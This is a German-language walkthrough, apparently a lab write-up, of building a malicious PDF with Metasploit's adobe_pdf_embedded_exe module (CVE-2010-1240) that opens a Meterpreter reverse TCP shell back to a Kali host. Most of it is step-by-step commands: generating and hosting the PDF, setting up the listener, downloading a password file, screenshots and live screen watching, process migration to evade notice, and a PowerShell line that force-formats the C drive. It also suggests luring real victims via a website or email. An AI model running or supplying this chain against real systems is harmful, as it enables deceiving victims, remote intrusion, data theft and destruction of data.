Dieses Demonstrationsvideo zeigt, wie wir das Gerät des Opfers kontrollieren können, indem wir die harmlos aussehende PDF-Datei an das Ziel senden, die tatsächlich einen eingebetteten Payload enthält. Der Exploit wurde als CVE-2010-1240 veröffentlicht.
präsentiert von
Dieses Demonstrationsvideo zeigt, wie wir das Gerät des Opfers kontrollieren können, indem wir die harmlos aussehende PDF-Datei an das Ziel senden, die tatsächlich eine eingebettete Nutzlast enthält. Der Exploit wurde als CVE-2010-1240 veröffentlicht.
Sobald die PDF-Datei im Adobe Reader geöffnet wird, lassen die Benutzer, die von uns getäuscht werden, den Sicherheits-Pop-ups zuzustimmen, uns eine Meterpreter-Sitzung erlangen, die über eine reverse TCP-Verbindung mit ihren Geräten verbunden ist. Bis dahin sind alle ihre Daten und was sie gerade tun, unter unserer Überwachung.
Zuerst starten wir die MSFconsole, die uns eine Befehlszeilenschnittstelle bietet, um auf das Metasploit-Framework zuzugreifen.
msfconsole
Dann suchen wir nach einem Exploit, der auf unsere Ziel-Windows-Plattform und Adobe PDF Reader passt, wobei eine ganze Liste von Exploits angezeigt wird, die verwendet werden können, um in den Windows-Rechner des Opfers einzudringen und die Adobe PDF Reader-Sicherheitslücken auszunutzen.
search type:exploit platform:windows adobe pdf
Bei dieser Ausnutzung wählen und verwenden wir das Modul "adobe_pdf_embedded_exe" mit dem folgenden Befehl, um das Ziel des Eindringens in das Opfer zu erreichen.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
Wir können auch die Informationen des Exploits mit dem Befehl „info“ überprüfen, wie unten gezeigt:
info
Dann setzen wir den Payload so, dass er eine reverse TCP-Verbindung verwendet. Wir verwenden auch den Meterpreter, der eine interaktive Shell bereitstellt, die es uns erleichtert, alle Arten von Funktionen zu nutzen, indem wir Code einfügen und ausführen, um den Rechner des Opfers zu erkunden.
set payload windows/meterpreter/reverse_tcp
Dann legen wir den Listening-Host und -Port fest. Für LHOST müssen wir die IP-Adresse der Angreifer-Maschine eingeben, die in diesem Fall die IP-Adresse unserer Kali-Maschine ist (10.0.2.4)*.
*p.s.
Für LPORT liegt es an uns, eine Portnummer festzulegen, die nicht häufig verwendet wird.
# to check Kali machine’s IP address
ifconfig
set LHOST *10.0.2.4*
set LPORT 5665
Dann setzen wir die Eingabedatei für die Basis der PDF-Datei mit dem INFILENAME*-Flag. Als nächstes setzen wir den Dateinamen auf etwas, das das Interesse des Opfers weckt, die bösartige PDF-Datei zu öffnen.
*p.s.
set INFILENAME '/home/kali/Documents/WIC3004Assignment.pdf'
set FILENAME 'Bawang_Ranger_WIC3004Report.pdf'
Wir können unsere Optionen noch einmal anzeigen, bevor wir den Befehl „exploit“ eingeben, um den Payload zusammen mit der PDF-Datei zu generieren.
# Then we can show the info or options by
show info | show options
exploit
Sobald wir die PDF-Datei generiert haben, verschieben wir die Datei nach /var/www/html, dem Verzeichnis unserer Kali-Maschine, um den Webanwendungsserver zu hosten, damit unser Opfer die PDF-Datei später herunterladen kann.
Hinweis:
sudo mv /home/kali/.msf4/local/Bawang_Ranger_WIC3004Report.pdf /var/www/html
Dann werden wir zum Einrichten unseres Listeners "exploit/multi/handler" verwenden. Wieder legen wir den Payload, LHOST und LPORT entsprechend dem fest, was wir bei der Generierung der bösartigen PDF-Datei definiert haben. Dann führen wir den Payload aus.
Hinweis:
show info or show options ist ein optionaler Befehl.
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.4
set LPORT 5665
[show info | show options]
run
In einem anderen Terminal überprüfen wir den Status des Apache-Servers, um sicherzustellen, dass er läuft, um unsere PDF-Datei in /var/www/html zu hosten, damit das Opfer die Datei herunterladen kann.
service apache2 status
# If it is inactive, start the service
service apache2 start
Öffnen Sie auf dem Windows-Rechner einen beliebigen Browser wie Chrome und geben Sie unsere Kali-IP (10.0.2.4)* ein, um auf den Webanwendungsserver der Kali-Maschine zuzugreifen.
*Hinweis: Bitte beachten Sie die IP-Adresse Ihrer eigenen Kali-Maschine
Dann simulieren Sie, dass ein Benutzer die gewünschte PDF-Datei speichert.
Sobald die Datei vom Opfer in Adobe Reader 8.1.2 geöffnet wird und es den Sicherheitsabfragen zustimmt, können wir auf unserer Kali-Maschine beobachten, dass eine neue Sitzung über eine reverse TCP-Verbindung hergestellt wurde.
Im realen Szenario werden wir eine Website mit der eingebetteten Payload-PDF einrichten, damit das Opfer die Datei herunterladen oder per E-Mail anhängen kann.
Dann können wir remote auf den Rechner des Opfers zugreifen und weitere schädliche Aktionen durchführen, die wir in der Meterpreter-Sitzung wünschen.
help
pwd
ls
Zum Beispiel gibt es eine Datei namens password.txt, wir können den Befehl download password.txt ausführen
download [folder name | filename with extension]
Natürlich können wir ein bösartiges Skript schreiben (Hintertür einpflanzen), um uns dauerhaft mit dem Windows-Rechner zu verbinden, wenn wir wirklich böse sind! 💀
# Boot command prompt at background
execute -f cmd.exe -H -i
# Create file on Windows
echo "You have been hacked" > hack.txt
#open the txt file we have just created
hack.txt
# Take screenshot
screenshot
# Watch the remote user in real time
screenshare
Der Angreifer kann jedoch den Verdacht verringern, indem er den Meterpreter-Prozess auf einen anderen migriert, indem er das Migrate-Modul in der Meterpreter-Sitzung verwendet.
meterpreter> run post/windows/manage/migrate
Hierdurch wird automatisch ein neuer Prozess auf dem Rechner des Opfers erzeugt, zu dem er migriert. Das Opfer könnte dann die infizierte PDF-Datei löschen, völlig ahnungslos, dass der Prozess bereits woanders hingewandert ist.
Der Angreifer kann weiterhin ein bösartiges Skript auf dem Zielrechner mit der Eingabeaufforderung (cmd) oder PowerShell erstellen, das das gesamte Betriebssystem zum Absturz bringen kann, sodass es nicht mehr richtig funktioniert.
meterpreter> shell
# Start the Windows PowerShell
powershell
#Powershell command to forcefully format the C drive clean.
New-Partition -DiskNumber 1 -UseMaximumSize -AssignDriveLetter C| Format-Volume -DriveLetter C -FileSystemLabel "New"-FileSystem NTFS -Full -Force -Confirm:$false
